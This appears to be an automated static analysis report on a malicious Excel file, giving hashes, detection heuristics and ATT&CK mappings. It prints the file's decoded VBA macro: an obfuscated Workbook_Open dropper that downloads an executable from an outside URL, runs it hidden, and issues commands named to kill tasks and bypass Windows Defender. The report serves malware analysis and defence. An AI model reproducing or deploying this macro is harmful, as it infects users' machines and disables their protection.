Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8ccf25bad2a60772…

MALICIOUS

Office (OOXML)

27.8 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2019-05-16
MD5: fd0f85f2e838c6e54090c151bff73267 SHA-1: f582ab91410cd69304f17e7410701d0e0a7696e6 SHA-256: 8ccf25bad2a60772ead3de7e4ef27c5a5bab2311ad82cefb46be3b71e90b9b25
362 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates an obfuscated auto-exec VBA loader that uses CreateObject and Shell/exec functions. The Workbook_Open macro is present and attempts to execute obfuscated code that includes a reference to cmd.exe and a URL for downloading a second-stage payload. This strongly suggests a dropper functionality.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://stemvikefor.com/work/exe/1.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 30034 bytes
SHA-256: 365856500cca2e213551e8901699993568c5e98089b26d305845f65958d9043c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub asdasdas()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Set AlWhaWu8AmxahJAs = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))))
Dim Al89AwnAmxahJAs1
Dim Al89AwnAmxahJAs2
Dim Al89AwnAmxahJAs3
Dim Al89AwnAmxahJAs4
Dim Al89AwnAmxahJAs5
Dim Al89AwnAmxahJAs6
Dim Al89AwnAmxahJAs7
Dim Al89AwnAmxahJAs8
Dim Al89AwnAmxahJAs9
Dim Al89AwnAmxahJAs010
Dim Al89AwnAmxahJAs011
Dim Al89AwnAmxahJAs012
Dim Al89AwnAmxahJAs013
Dim Al89AwnAmxahJAs014
Al89AwnAmxahJAs1 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ÍÇ×ö·E4A5;7C4D4A51", "TgWG7VA53")), oeAP6pzCT(OasWAPbO8("Áß", "BYT1azrB2")))
Al89AwnAmxahJAs2 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ošR†³0744F5D17754C", "DoNxZguQ1")), oeAP6pzCT(OasWAPbO8(" v", "wwHSYHCYj")))
Al89AwnAmxahJAs3 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("üÚ hˆ´7703765C5657", "ipn7THdxU")), oeAP6pzCT(OasWAPbO8(" G", "NE6YPhxVu")))
Al89AwnAmxahJAs4 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ü¡ o�²504;5:107@4;", "rFso2s0dw")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D")))
Al89AwnAmxahJAs5 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Úà„Y‰²6D4@565C0D16", "LObQsXXaK")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx")))
Al89AwnAmxahJAs6 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("²T) F055575:4C4F6D", "VIkSB2NvR")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg")))
Al89AwnAmxahJAs7 = "ile('https://stemvikefor.com/work/exe/1.exe',"
Al89AwnAmxahJAs8 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("¾^  ‹¸7F4C56534@0F465@", "lbuWdpTJ2")), oeAP6pzCT(OasWAPbO8(" v", "wwHSYHCYj")))
Al89AwnAmxahJAs9 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Y�ö¹6G575;5C1;1:16", "BUfrtZblR")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx")))
Al89AwnAmxahJAs010 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("D§çäv?2A0G627:", "dPQcCP0tL")), oeAP6pzCT(OasWAPbO8("�]", "zpkk04ZFi")))
Al89AwnAmxahJAs011 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ÙØöµ745:137654", "Nj3dP7ydz")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D")))
Al89AwnAmxahJAs012 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("ÅÚæ–vF7454010C0:", "XguH9uD4N")), oeAP6pzCT(OasWAPbO8("% ", "b4DOAvowK")))
Al89AwnAmxahJAs013 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("Eç÷Å6@57504A0G475A5D", "cMxoB3anl")), oeAP6pzCT(OasWAPbO8("1?", "orGdBlxbg")))
Al89AwnAmxahJAs014 = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("|¯  ‰µ7;5C1;1:164@5G4@0F", "eYq7Pyh2T")), oeAP6pzCT(OasWAPbO8("ËÆ", "PQbZiEpEx")))
    
Al89AwnAmxahJAs20 = Al89AwnAmxahJAs1 + Al89AwnAmxahJAs2 + Al89AwnAmxahJAs3 + Al89AwnAmxahJAs4 + Al89AwnAmxahJAs5 + Al89AwnAmxahJAs6 + Al89AwnAmxahJAs7 + Al89AwnAmxahJAs8 + Al89AwnAmxahJAs9 + Al89AwnAmxahJAs010 + Al89AwnAmxahJAs011 + Al89AwnAmxahJAs012 + Al89AwnAmxahJAs013 + Al89AwnAmxahJAs014
AlWhaWu8AmxahJAs.Run Al89AwnAmxahJAs20, vbHide
Set tskkill = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))))
Dim STArTkwZkill
STArTkwZkill = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("�g©qH8061145065:47554D4D4F525206114C06114F53065@4F505@51544:104;5A4;060C064;5A4F5:06", "jwzZdxiO2")), oeAP6pzCT(OasWAPbO8("û¤", "dHVcbMw6D")))
tskkill.Run STArTkwZkill, vbHide
Set tskkillword = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))))
Dim STArTkwZkillword
STArTkwZkillword = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("µ7545G4A5;5C4D4A515105167G52574@545G7C5@:2514A056D524@4@4A57055@4:5C505052515105144F05145256056A5D4C4A51174A5D4A", "h8nAMFNzr")), oeAP6pzCT(OasWAPbO8("Áß", "BYT1azrB2")))
tskkillword.Run STArTkwZkillword, vbHide
Set BypassWindows = CreateObject(uuKnhm8qI(oeAP6pzCT(OasWAPbO8("§ {«vK764@505412774C454G4G", "RbO1woDwo")), oeAP6pzCT(OasWAPbO8("×ú", "S8QlAtbrc"))))
Dim BypassWindowsDefender
BypassWindowsDefender = uuKnhm8qI(oeAP6pzCT(OasWAPbO8("JÏÇÓöÁ24174;04544D564F041156041;0450574;45504G575;5C040A044D544;57564A4D4F175:4@504
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 53248 bytes
SHA-256: fd5b3803d100539636220e53c6b0d522d75759ad358bc89870af9f7dd93e542b
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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